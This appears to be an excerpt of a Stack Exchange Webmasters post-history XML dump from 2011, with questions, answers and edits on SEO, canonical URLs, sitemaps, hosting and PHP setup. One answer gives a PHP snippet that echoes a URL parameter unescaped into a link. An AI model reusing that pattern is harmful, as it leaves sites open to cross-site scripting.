  <row Id="41151" PostHistoryTypeId="25" PostId="17138" RevisionGUID="9c8dbf85-dcc2-4703-aa36-52a28778f7c4" CreationDate="2011-07-20T18:31:55.863" Comment="http://twitter.com/#!/StackWebmasters/status/93749996800843776" />
  <row Id="41152" PostHistoryTypeId="2" PostId="17140" RevisionGUID="f129f51e-9b7d-43c2-ab62-eec818a69fd0" CreationDate="2011-07-20T18:33:24.150" UserId="9147" Text="I searched in google : does nioxin work?&#xD;&#xA;&#xD;&#xA;Does nioxin shampoo make hair grow? - Yahoo! Answers&#xD;&#xA;answers.yahoo.com › ... › Beauty &amp; Style › Hair &#xD;&#xA;&#xD;&#xA;---------------------------------------------------------&#xD;&#xA;&#xD;&#xA;why is the category formed with &gt; Beauty &amp; Style › Hair?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41153" PostHistoryTypeId="1" PostId="17140" RevisionGUID="f129f51e-9b7d-43c2-ab62-eec818a69fd0" CreationDate="2011-07-20T18:33:24.150" UserId="9147" Text="search result page &gt; category defined or understood by google to co relate with search quey?" />
  <row Id="41154" PostHistoryTypeId="3" PostId="17140" RevisionGUID="f129f51e-9b7d-43c2-ab62-eec818a69fd0" CreationDate="2011-07-20T18:33:24.150" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;" />
  <row Id="41155" PostHistoryTypeId="2" PostId="17141" RevisionGUID="6e6ea451-e89b-4649-aef1-d6ef568612cf" CreationDate="2011-07-20T18:36:20.247" UserId="1253" Text="You can get that for your site if you use [microformats][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/09/rich-snippets-testing-tool-improvements.html" />
  <row Id="41156" PostHistoryTypeId="5" PostId="16998" RevisionGUID="9b6753d5-be25-4f3e-83c7-2afb9e34f3c4" CreationDate="2011-07-20T18:36:53.520" UserId="1429" Comment="added 23 characters in body" Text="Before creating emails that might only frustrate your current customers and the new potential ones, I suggest you to [read this article][1].&#xD;&#xA;&#xD;&#xA;From my personal experience as a customer I usually find quite frustrating, whenever I need to ask something to a vendor, to be forced to think at what mail address I should send my issue.&#xD;&#xA;&#xD;&#xA;In other words, let's say you just bought some web service, if your order wasn't processed by the vendor, but you already paied for it, do you complain to:&#xD;&#xA;&#xD;&#xA; - order@vendor.com&#xD;&#xA; - or to payment@vendor.com&#xD;&#xA; - or to invoices@vendor.com&#xD;&#xA; - or to info@vendor.com&#xD;&#xA;&#xD;&#xA;**Don't you think it's quite confusing?**&#xD;&#xA;&#xD;&#xA;As a customer I would like to complain always to info@vendor.com and the vendor should take care to dispatch my message to the right place, not me!&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.asmartbear.com/one-email.html" />
  <row Id="41157" PostHistoryTypeId="5" PostId="17136" RevisionGUID="4ae1f166-820d-48e9-8396-365076914e5c" CreationDate="2011-07-20T18:37:59.107" UserId="104" Comment="retagged and improved spelling and punctuation" Text="How can I get PHP's LibXML module with the XSLT extension enabled (--with-xsl)?&#xD;&#xA;&#xD;&#xA;What are the steps involved in installing XSLT and from where I can download it?&#xD;&#xA;" />
  <row Id="41158" PostHistoryTypeId="4" PostId="17136" RevisionGUID="4ae1f166-820d-48e9-8396-365076914e5c" CreationDate="2011-07-20T18:37:59.107" UserId="104" Comment="retagged and improved spelling and punctuation" Text="How do I enable XSLT extension for PHP 5?" />
  <row Id="41159" PostHistoryTypeId="6" PostId="17136" RevisionGUID="4ae1f166-820d-48e9-8396-365076914e5c" CreationDate="2011-07-20T18:37:59.107" UserId="104" Comment="retagged and improved spelling and punctuation" Text="&lt;php&gt;" />
  <row Id="41160" PostHistoryTypeId="24" PostId="17136" RevisionGUID="4ae1f166-820d-48e9-8396-365076914e5c" CreationDate="2011-07-20T18:37:59.107" Comment="Proposed by 104 approved by 1253 edit id of 445" />
  <row Id="41161" PostHistoryTypeId="17" PostId="17142" RevisionGUID="ce3518dc-9e90-4cba-abad-c5721fa5f739" CreationDate="2011-07-20T18:51:21.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6766753/hosting-website-with-video-and-audio-conversion" Text="" />
  <row Id="41162" PostHistoryTypeId="2" PostId="17142" RevisionGUID="8ec76ac3-9a8c-42b6-8035-581d94e6223f" CreationDate="2011-07-20T18:35:30.217" UserId="9083" Text="Hello all,             &#xD;&#xA;            I have created a website with audio and video conversion online and providing the output file via email or instant download. I want to know which kind of hosting. server will work fine in my scenario. The video upload size is limited to 50mb per video and audio size is limited by 15Mb. After every two hours the completed video will be deleted, to ensure storage capacity. Please let me know web host server, which can be used for this purpose.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;APS," />
  <row Id="41163" PostHistoryTypeId="1" PostId="17142" RevisionGUID="8ec76ac3-9a8c-42b6-8035-581d94e6223f" CreationDate="2011-07-20T18:35:30.217" UserId="9083" Text="hosting website with video and audio conversion" />
  <row Id="41164" PostHistoryTypeId="3" PostId="17142" RevisionGUID="8ec76ac3-9a8c-42b6-8035-581d94e6223f" CreationDate="2011-07-20T18:35:30.217" UserId="9083" Text="&lt;web-applications&gt;&lt;video&gt;&lt;audio&gt;&lt;web-hosting&gt;" />
  <row Id="41165" PostHistoryTypeId="5" PostId="17142" RevisionGUID="fc7e2f41-b7f3-4a61-a14f-691b157c94ca" CreationDate="2011-07-20T18:57:58.397" UserId="1253" Comment="modified tags, minor text edits" Text="I have created a website with audio and video conversion online and providing the output file via email or instant download. I want to know which kind of hosting. server will work fine in my scenario. The video upload size is limited to 50mb per video and audio size is limited by 15Mb. After every two hours the completed video will be deleted, to ensure storage capacity. Please let me know web host server, which can be used for this purpose.&#xD;&#xA;" />
  <row Id="41166" PostHistoryTypeId="6" PostId="17142" RevisionGUID="fc7e2f41-b7f3-4a61-a14f-691b157c94ca" CreationDate="2011-07-20T18:57:58.397" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-hosting&gt;&lt;video&gt;&lt;looking-for-hosting&gt;&lt;web-applications&gt;&lt;audio&gt;" />
  <row Id="41167" PostHistoryTypeId="2" PostId="17143" RevisionGUID="0108305b-27b2-47fa-8a90-7f417a424e1f" CreationDate="2011-07-20T19:07:57.490" UserId="1429" Text="&gt; Is my juice leaking?&#xD;&#xA;&#xD;&#xA;From your last question I think that maybe your ideas might be confused regarding link juice leaking.&#xD;&#xA;&#xD;&#xA;According to my understanding of this [Matt Cutts' article][1] (that I suggest you to read):&#xD;&#xA;&#xD;&#xA;**Your link juice leaks out because of any link you place on your page, even if the link uses the `rel=&quot;nofollow&quot;`**.&#xD;&#xA;&#xD;&#xA;The only difference using nofollow affects the destination of the link:&#xD;&#xA;&#xD;&#xA;the destination website of a `nofollow` link won't get any link juice, **but that link on your page still leaks out your link juice, that instead of propagating to the link's destination it simply evaporates**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/pagerank-sculpting/" />
  <row Id="41168" PostHistoryTypeId="2" PostId="17144" RevisionGUID="34fe2b08-2c17-488c-a690-f98b7e4c7a3a" CreationDate="2011-07-20T19:12:57.453" UserId="9147" Text="How does google understand the legitimacy of  a website by user activity ?&#xD;&#xA;&#xD;&#xA;apart from&#xD;&#xA;&#xD;&#xA;total time spend on a particular webpage by users&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;total clicks on the website by users&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;total unique visitors&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41169" PostHistoryTypeId="1" PostId="17144" RevisionGUID="34fe2b08-2c17-488c-a690-f98b7e4c7a3a" CreationDate="2011-07-20T19:12:57.453" UserId="9147" Text="How does google understand the legitimacy of a website by user activity ?" />
  <row Id="41170" PostHistoryTypeId="3" PostId="17144" RevisionGUID="34fe2b08-2c17-488c-a690-f98b7e4c7a3a" CreationDate="2011-07-20T19:12:57.453" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;" />
  <row Id="41171" PostHistoryTypeId="2" PostId="17145" RevisionGUID="bf9d542a-3ec7-4c23-b3e4-e3c3773953da" CreationDate="2011-07-20T19:21:35.030" UserId="1253" Text="They don't. They don't know that information unless you're using Google Analytics and [they have already stated that they don't use Google Analytics' data in their ranking algorithm][1].&#xD;&#xA;&#xD;&#xA;The closest thing you may find them using is click through rates on their site and time spent on a site before returning back to Google. There's been no official word on this but many SEOers like to speculate that these are actually ranking factors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dotcult.com/does-google-analytics-affect-seo" />
  <row Id="41172" PostHistoryTypeId="5" PostId="17144" RevisionGUID="95a66ece-41c4-48e6-9d1d-841b81d2006b" CreationDate="2011-07-20T19:23:00.507" UserId="1253" Comment="Formatted question for easier reading" Text="How does google understand the legitimacy of a website by user activity? Apart from:&#xD;&#xA;&#xD;&#xA;- total time spend on a particular webpage by users&#xD;&#xA;- total clicks on the website by users&#xD;&#xA;- total unique visitors&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41173" PostHistoryTypeId="5" PostId="17140" RevisionGUID="224c3d45-3e0c-4f4a-8b64-9cd7668d5524" CreationDate="2011-07-20T19:24:17.387" UserId="1429" Comment="Made 1st letter uppercase and better presentation" Text="I searched in Google: `does nioxin work?`&#xD;&#xA;&#xD;&#xA;One of the top results is:&#xD;&#xA;&#xD;&#xA;&gt; Does nioxin shampoo make hair grow? - Yahoo! Answers answers.yahoo.com&#xD;&#xA;&gt; &#xD;&#xA;&gt; › ... › Beauty &amp; Style › Hair &#xD;&#xA;&gt; &#xD;&#xA;&gt; ---------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Why is the category formed with `&gt; Beauty &amp; Style › Hair?`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41174" PostHistoryTypeId="4" PostId="17140" RevisionGUID="224c3d45-3e0c-4f4a-8b64-9cd7668d5524" CreationDate="2011-07-20T19:24:17.387" UserId="1429" Comment="Made 1st letter uppercase and better presentation" Text="Search result page &gt; category defined or understood by Google to co relate with search query?" />
  <row Id="41175" PostHistoryTypeId="24" PostId="17140" RevisionGUID="224c3d45-3e0c-4f4a-8b64-9cd7668d5524" CreationDate="2011-07-20T19:24:17.387" Comment="Proposed by 1429 approved by 1253 edit id of 446" />
  <row Id="41179" PostHistoryTypeId="2" PostId="17147" RevisionGUID="5045a212-6b00-438e-9cca-fcf83630338e" CreationDate="2011-07-20T19:37:38.860" UserId="9147" Text="How does google verify the trustness of a websites? or How to create trust with google?&#xD;&#xA;&#xD;&#xA;Any comments, observations?" />
  <row Id="41180" PostHistoryTypeId="1" PostId="17147" RevisionGUID="5045a212-6b00-438e-9cca-fcf83630338e" CreationDate="2011-07-20T19:37:38.860" UserId="9147" Text="How does google verify the trustness of a websites? or How to create trust with google?" />
  <row Id="41181" PostHistoryTypeId="3" PostId="17147" RevisionGUID="5045a212-6b00-438e-9cca-fcf83630338e" CreationDate="2011-07-20T19:37:38.860" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;" />
  <row Id="41185" PostHistoryTypeId="2" PostId="17148" RevisionGUID="27db3867-9f6d-45b2-8f91-76674c55ad68" CreationDate="2011-07-20T19:53:38.743" UserId="9147" Text="I observed that websites using micro formats does NOT rely on keywords to be their in the url of their web pages. Any comments why?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How much is the weightage of microformats in seo?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41186" PostHistoryTypeId="1" PostId="17148" RevisionGUID="27db3867-9f6d-45b2-8f91-76674c55ad68" CreationDate="2011-07-20T19:53:38.743" UserId="9147" Text="Relation between websites using micro formats and NOT having keywords in their web pages url?" />
  <row Id="41187" PostHistoryTypeId="3" PostId="17148" RevisionGUID="27db3867-9f6d-45b2-8f91-76674c55ad68" CreationDate="2011-07-20T19:53:38.743" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;&lt;keywords&gt;&lt;microformats&gt;" />
  <row Id="41188" PostHistoryTypeId="10" PostId="17148" RevisionGUID="451bddba-52a1-4abd-829d-77d5c51aff8f" CreationDate="2011-07-20T19:58:26.713" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41192" PostHistoryTypeId="5" PostId="17147" RevisionGUID="8e8fd2ac-7dfe-4860-970e-9c9eb683a584" CreationDate="2011-07-20T20:06:53.043" UserId="1253" Comment="removed request for discussion." Text="How does google verify the trustness of a websites? or How to create trust with google?&#xD;&#xA;" />
  <row Id="41196" PostHistoryTypeId="2" PostId="17150" RevisionGUID="5dd0a2b2-71ba-43a4-afe9-9ee5c9a0246b" CreationDate="2011-07-20T20:38:00.440" UserId="2284" Text="I'm coding the sitemap logic of my side-project blogging platform and I would like to know if omitting the slug in the `&lt;loc&gt;` nodes of the `sitemap` could be a problem for the crawlers.&#xD;&#xA;&#xD;&#xA;Having two urls that point to the same page:&#xD;&#xA;&#xD;&#xA;http://www.foo.com/post/213212/&#xD;&#xA;&#xD;&#xA;http://www.foo.com/post/213212/this-talks-about-foo&#xD;&#xA;&#xD;&#xA;does it hide any drawbacks to use the first link in the sitemap?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41197" PostHistoryTypeId="1" PostId="17150" RevisionGUID="5dd0a2b2-71ba-43a4-afe9-9ee5c9a0246b" CreationDate="2011-07-20T20:38:00.440" UserId="2284" Text="Should the urls in the sitemap contain the slug?" />
  <row Id="41198" PostHistoryTypeId="3" PostId="17150" RevisionGUID="5dd0a2b2-71ba-43a4-afe9-9ee5c9a0246b" CreationDate="2011-07-20T20:38:00.440" UserId="2284" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="41199" PostHistoryTypeId="2" PostId="17151" RevisionGUID="7a8c980d-1756-4dad-afd8-93ba4a3e852b" CreationDate="2011-07-20T20:51:01.383" UserId="5806" Text="No but I would use the canonical links as much as possible. That way they get copied and passed along right.&#xD;&#xA;&#xD;&#xA;So if the canonical has the slug, I suggest you use that one. Actually, I high recommend  canonical to use the slug, it will  be more search-engine friendly." />
  <row Id="41200" PostHistoryTypeId="2" PostId="17152" RevisionGUID="d4164143-adf0-40f0-b002-1ad8bca364dd" CreationDate="2011-07-20T20:55:54.033" UserId="9087" Text="I'm considering using GA for my site but I have some concerns, suspicions, possibly unfounded paranoia. GA is a free service but it has an associated sales team and Google seems to be trying to drive adoption of GA in the enterprise segment.  I'm wondering what the purpose of this is?  Why have a sales force for a free product?  What does Google gain from the greater adoption of GA?  Does it enhance other Google offerings? Does using GA help drive their advertising business?  How important is GA to Google? Is there any indication that Google plans to charge for GA?" />
  <row Id="41201" PostHistoryTypeId="1" PostId="17152" RevisionGUID="d4164143-adf0-40f0-b002-1ad8bca364dd" CreationDate="2011-07-20T20:55:54.033" UserId="9087" Text="Google Analytics: business model and future direction?" />
  <row Id="41202" PostHistoryTypeId="3" PostId="17152" RevisionGUID="d4164143-adf0-40f0-b002-1ad8bca364dd" CreationDate="2011-07-20T20:55:54.033" UserId="9087" Text="&lt;google-analytics&gt;" />
  <row Id="41203" PostHistoryTypeId="10" PostId="17152" RevisionGUID="a2f63524-728d-4277-b734-16187d115ae3" CreationDate="2011-07-20T20:58:49.057" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41204" PostHistoryTypeId="25" PostId="17144" RevisionGUID="b1361793-40d5-4017-8be7-c5b087fc872d" CreationDate="2011-07-20T21:31:55.357" Comment="http://twitter.com/#!/StackWebmasters/status/93795294151585793" />
  <row Id="41205" PostHistoryTypeId="5" PostId="17147" RevisionGUID="da1b3cbb-7e8d-4d82-bb2e-486239bb6a59" CreationDate="2011-07-20T22:43:29.913" UserId="1064" Comment="Capitalization, minor rewording for clarity" Text="How does Google verify the trustworthiness of a website?&#xD;&#xA;&#xD;&#xA;How does one create trust with Google?&#xD;&#xA;" />
  <row Id="41206" PostHistoryTypeId="4" PostId="17147" RevisionGUID="da1b3cbb-7e8d-4d82-bb2e-486239bb6a59" CreationDate="2011-07-20T22:43:29.913" UserId="1064" Comment="Capitalization, minor rewording for clarity" Text="How does Google verify the trustworthiness of a website? How does one create trust with Google?" />
  <row Id="41207" PostHistoryTypeId="2" PostId="17153" RevisionGUID="8fcc62da-a5d7-45cc-99a1-9be61f255f40" CreationDate="2011-07-20T22:56:03.470" UserId="1064" Text="If you are using a package manager like `yum` or `apt`, try a search for `libxslt` and confirm that the package is installed.&#xD;&#xA;&#xD;&#xA;If you installed the [libxslt][2] library yourself, use `--with-xsl=/path/to/libxslt` as described in the PHP manual's [XSL Installation][1] instructions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/xsl.installation.php&#xD;&#xA;  [2]: http://xmlsoft.org/XSLT/" />
  <row Id="41208" PostHistoryTypeId="2" PostId="17154" RevisionGUID="d15c04fd-bcd7-4cf0-bf28-388ca402ed36" CreationDate="2011-07-20T23:03:55.727" UserId="1243" Text="The same page, or rather the same content on a page is accessible from two very similar URLs, namely:&#xD;&#xA;&#xD;&#xA;- http://www.example.com/path/to/page.php&#xD;&#xA;- http://www.example.com/path/to/page.php?catIndex=1&#xD;&#xA;&#xD;&#xA;The URL param in this case affects all the navigation links on the page. Basically, the same page is accessible via two separate navigation routes. To the end user, who doesn't look at the URL, they could be perceived as two separate pages in different parts of the site, although the content is identical.&#xD;&#xA;&#xD;&#xA;I have a `rel=&quot;canonical&quot;` link element linking to the first URL (without the URL param).&#xD;&#xA;&#xD;&#xA;Could a search engine perceive this as duplicate content?&#xD;&#xA;&#xD;&#xA;I think my eyes have gone square, but I was considering adding a robots &quot;noindex&quot; meta tag to the page when the `catIndex` URL param exists. But it is really the same URL and I do want the content indexed once, so I'm now thinking this would be foolish?!" />
  <row Id="41209" PostHistoryTypeId="1" PostId="17154" RevisionGUID="d15c04fd-bcd7-4cf0-bf28-388ca402ed36" CreationDate="2011-07-20T23:03:55.727" UserId="1243" Text="Same page in different &quot;locations&quot; on same site - duplicate content?" />
  <row Id="41210" PostHistoryTypeId="3" PostId="17154" RevisionGUID="d15c04fd-bcd7-4cf0-bf28-388ca402ed36" CreationDate="2011-07-20T23:03:55.727" UserId="1243" Text="&lt;search-engines&gt;&lt;url&gt;&lt;duplicate-content&gt;&lt;canonical-url&gt;" />
  <row Id="41211" PostHistoryTypeId="2" PostId="17155" RevisionGUID="12fd2adf-ba20-4149-a150-78ea9e3f18dd" CreationDate="2011-07-20T23:46:12.150" UserId="1253" Text="If you're using canonical URLs, and you are, you're fine. Canonical URLs were created for the very scenario you are experiencing. Don't change or worry about a thing. :)" />
  <row Id="41212" PostHistoryTypeId="25" PostId="17154" RevisionGUID="761b97cf-a0b3-4390-ba50-01b6e5dc7a44" CreationDate="2011-07-21T00:31:55.287" Comment="http://twitter.com/#!/StackWebmasters/status/93840592626397184" />
  <row Id="41213" PostHistoryTypeId="2" PostId="17156" RevisionGUID="f94a5d2d-349a-432a-800e-6240d73c9c21" CreationDate="2011-07-21T00:53:04.847" UserId="5806" Text="Since your index is PHP, all you need is to modify the link using PHP.&#xD;&#xA;&#xD;&#xA;So, in your index.php between the HTML you would have something like:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;affiliate.com/my_affiliate_code_here_&lt;?php echo $_GET['id']; ?&gt;&quot;&gt;Link Text&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;So, when someone goes to:&#xD;&#xA;index.php?id=test1&#xD;&#xA;&#xD;&#xA;The link would go to affiliate.com/my_affiliate_code_here_test1&#xD;&#xA;&#xD;&#xA;That's it! Any script you would find to do this would me more hassle." />
  <row Id="41214" PostHistoryTypeId="2" PostId="17157" RevisionGUID="aa35291f-01bd-4a5f-bf57-a07f1f0ddf31" CreationDate="2011-07-21T02:42:43.300" UserId="3766" Text="Say I have an item for sale on eBay, and the same item for sale on another site via PayPal. Is it possible to have sales on one site reflected in the inventory for the other site, and vice-versa? In other words, if I have ten items for sale, and I buy one on either site, it should show that there are nine items left on both sites.&#xD;&#xA;&#xD;&#xA;I know that PayPal has an [API][1] for setting the inventory level of an item associated with a button. eBay also has an [API][2] for controlling an item's inventory. I'm wondering if anyone has tried to integrate them.&#xD;&#xA;&#xD;&#xA;  [1]: https://merchant.paypal.com/us/cgi-bin/?cmd=_render-content&amp;content_ID=developer/e_howto_api_ButtonMgrAPIIntro#id093VE0N0PHT&#xD;&#xA;  [2]: http://developer.ebay.com/devzone/merchant-data/CallRef/ActiveInventoryReport.html" />
  <row Id="41215" PostHistoryTypeId="1" PostId="17157" RevisionGUID="aa35291f-01bd-4a5f-bf57-a07f1f0ddf31" CreationDate="2011-07-21T02:42:43.300" UserId="3766" Text="Integrating eBay and PayPal inventory" />
  <row Id="41216" PostHistoryTypeId="3" PostId="17157" RevisionGUID="aa35291f-01bd-4a5f-bf57-a07f1f0ddf31" CreationDate="2011-07-21T02:42:43.300" UserId="3766" Text="&lt;paypal&gt;&lt;ebay&gt;" />
  <row Id="41217" PostHistoryTypeId="2" PostId="17158" RevisionGUID="b35c9a56-38a4-4dbe-a28b-ca6c30ef058d" CreationDate="2011-07-21T03:03:50.273" UserId="5806" Text="If you want to redirect traffic from search engines, you should use 301 Redirect using something like:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^([^12][^/]+)\.htm$ 1/index.php?c=$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;This will not work if some of your old files start by 1 or 2. If so, you can *probably* omit the [^12] and place this rule last. You will have to tag the old rules with last as well, replacing the [NC] by [NC,L].&#xD;&#xA;" />
  <row Id="41218" PostHistoryTypeId="25" PostId="17150" RevisionGUID="6af8a970-b2da-4636-8bf1-415f61b896a2" CreationDate="2011-07-21T03:31:55.323" Comment="http://twitter.com/#!/StackWebmasters/status/93885891474505728" />
  <row Id="41219" PostHistoryTypeId="2" PostId="17159" RevisionGUID="195e73ab-a855-4369-a095-2b7cf9186dff" CreationDate="2011-07-21T04:21:36.293" UserId="4502" Text="There's a &lt;a href=&quot;http://code.google.com/p/jquery-ui-ribbon/&quot;&gt;Google Code project&lt;/a&gt; for a ribbon widget that's had some modification in the last few months. " />
  <row Id="41220" PostHistoryTypeId="6" PostId="9248" RevisionGUID="91e0ff7f-41d6-4a28-b2d0-d0f7f2426f69" CreationDate="2011-07-21T04:22:24.343" UserId="4502" Comment="edited tags" Text="&lt;jquery&gt;&lt;plugin&gt;&lt;gui&gt;" />
  <row Id="41221" PostHistoryTypeId="2" PostId="17160" RevisionGUID="eacb2442-4818-4364-9983-5ef2f4337ce9" CreationDate="2011-07-21T06:04:58.033" UserId="4185" Text="I am no SEO expert, but I remember reading a book saying that one of the ways, is to get inbound links from trusted sites and another way is for the domain to age. &#xD;&#xA;" />
  <row Id="41222" PostHistoryTypeId="2" PostId="17161" RevisionGUID="04539ad3-6abe-4cf0-a8dc-001256ab3297" CreationDate="2011-07-21T06:23:58.287" UserId="9088" Text="I'd recommend you look for a VPS or Dedicated server as opposed to &quot;standard&quot; shared hosting in this instance.&#xD;&#xA;&#xD;&#xA;Many shared hosting companies would probably kill off any long-running scripts after a given period of time (and video/audio conversion will certainly fall into this category!), however with a VPS, it's all down to you to manage.&#xD;&#xA;&#xD;&#xA;You can get low-end VPS (512M ram/25G disk space) for around $5 USD a month, however I'd check out the bandwidth allowance that you get (remember, all those uploads and downloads will cost you a lot if you exceed you bandwidth limits) and make sure that you've got quite a bit of RAM in the server (at least 1G for this kind of task in my opinion)." />
  <row Id="41223" PostHistoryTypeId="25" PostId="17140" RevisionGUID="a9da0c3f-9535-4eb6-85be-d2188f5fc8ed" CreationDate="2011-07-21T06:31:56.340" Comment="http://twitter.com/#!/StackWebmasters/status/93931190603620352" />
  <row Id="41224" PostHistoryTypeId="2" PostId="17162" RevisionGUID="0ab17e3d-ea33-4294-b948-ac49e9179f3d" CreationDate="2011-07-21T07:02:51.110" UserId="8857" Text="What sequence shall one follow when he is developing a website.&#xD;&#xA;For e.g. shall i first finish all the basic structure of the website, then HTML embedded PHP and when the whole thing is working, then add style to it and add interactivity using CSS/Javascript or if i apply all the things at one to a particular page and then move on to the next page development?" />
  <row Id="41225" PostHistoryTypeId="1" PostId="17162" RevisionGUID="0ab17e3d-ea33-4294-b948-ac49e9179f3d" CreationDate="2011-07-21T07:02:51.110" UserId="8857" Text="Step by step website developent" />
  <row Id="41226" PostHistoryTypeId="3" PostId="17162" RevisionGUID="0ab17e3d-ea33-4294-b948-ac49e9179f3d" CreationDate="2011-07-21T07:02:51.110" UserId="8857" Text="&lt;website-design&gt;&lt;website-development&gt;" />
  <row Id="41227" PostHistoryTypeId="2" PostId="17163" RevisionGUID="334a2530-62f8-449b-af99-6c6ea00c7563" CreationDate="2011-07-21T07:38:02.637" UserId="9090" Text="Hi I want to build a Facebook `promotional/competition` page and just want to make 100% sure that I am within the laws governed by the Facebook Promotional Guidelines.&#xD;&#xA;&#xD;&#xA;Here is a link to the guidelines&#xD;&#xA;&#xD;&#xA;http://www.facebook.com/promotions_guidelines.php &#xD;&#xA;&#xD;&#xA;I want to build a video voting page on Facebook.&#xD;&#xA;Facebook users cannot enter the competition. &#xD;&#xA;They can however vote for their favourite video and on voting post a message to their wall.&#xD;&#xA;&#xD;&#xA;The video with the most votes will be declared the wining video.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;here is an extract from the guidelines that i am unclear about.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;3.	You must not use Facebook features or functionality as a promotion’s registration or entry mechanism.  For example, the act of liking a Page or checking in to a Place cannot automatically register or enter a promotion participant. &#xD;&#xA;This is pretty self explanatory. Thus we cannot ask someone to “like” or vote for their favourite video in order to enter or a stand a chance to win. We can ask them to do these things, but not as a condition to be part of the competition. `&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41228" PostHistoryTypeId="1" PostId="17163" RevisionGUID="334a2530-62f8-449b-af99-6c6ea00c7563" CreationDate="2011-07-21T07:38:02.637" UserId="9090" Text="Facebook Promotion guidelines" />
  <row Id="41229" PostHistoryTypeId="3" PostId="17163" RevisionGUID="334a2530-62f8-449b-af99-6c6ea00c7563" CreationDate="2011-07-21T07:38:02.637" UserId="9090" Text="&lt;facebook&gt;&lt;law&gt;" />
  <row Id="41230" PostHistoryTypeId="2" PostId="17164" RevisionGUID="10e39af8-3e79-4993-adce-99c91c043972" CreationDate="2011-07-21T07:51:53.893" UserId="8957" Text="The act of 'liking' a page or checking in to a place cannot automatically register or enter a promotion participant.&#xD;&#xA;which just means that someone can not enter a promotion just by liking a page, and win something for just liking a page.&#xD;&#xA;I don't think you would violate any terms for doing what you want to do." />
  <row Id="41231" PostHistoryTypeId="2" PostId="17165" RevisionGUID="3b9e08cf-1ae6-4ddd-83e9-7fb317dd6ba1" CreationDate="2011-07-21T08:01:20.440" UserId="8957" Text="[Older question][1]&#xD;&#xA;&#xD;&#xA;very good response to that question there. also definitely worth more than one read.&#xD;&#xA;&#xD;&#xA;personally i would favor an &quot;extreme programming&quot; approach to website design, which means start small, add features/designs incrementally. It's fairly easy to change things when you realize you don't like them as much as you thought you would rather than do the whole design up front, write the php, html and css, and then realize you don't like the html stuff.&#xD;&#xA;now unfortunately i don't know what kind of website you want to build, but for a content website i would start with the main content part, throw a bit of content up there, see how it looks, change the design, throw a navigation on it, see how that looks, etc. etc.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/13902/when-designing-a-website-how-do-you-usually-start" />
  <row Id="41232" PostHistoryTypeId="5" PostId="17163" RevisionGUID="711b1169-c759-4800-bd4e-910ac4732053" CreationDate="2011-07-21T08:01:36.010" UserId="9090" Comment="added 75 characters in body" Text="Hi I want to build a Facebook `promotional/competition` page and just want to make 100% sure that I am within the laws governed by the Facebook Promotional Guidelines.&#xD;&#xA;&#xD;&#xA;Here is a link to the guidelines&#xD;&#xA;&#xD;&#xA;http://www.facebook.com/promotions_guidelines.php &#xD;&#xA;&#xD;&#xA;I want to build a video voting page on Facebook.&#xD;&#xA;Facebook users cannot enter the competition. &#xD;&#xA;They can however vote for their favourite video and on voting post a message to their wall.&#xD;&#xA;&#xD;&#xA;The video with the most votes will be declared the wining video.&#xD;&#xA;&#xD;&#xA;edited &#xD;&#xA;&#xD;&#xA;A random voter could also stand a chance on winning a prize.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;here is an extract from the guidelines that i am unclear about.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;3.	You must not use Facebook features or functionality as a promotion’s registration or entry mechanism.  For example, the act of liking a Page or checking in to a Place cannot automatically register or enter a promotion participant. &#xD;&#xA;This is pretty self explanatory. Thus we cannot ask someone to “like” or vote for their favourite video in order to enter or a stand a chance to win. We can ask them to do these things, but not as a condition to be part of the competition. `&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
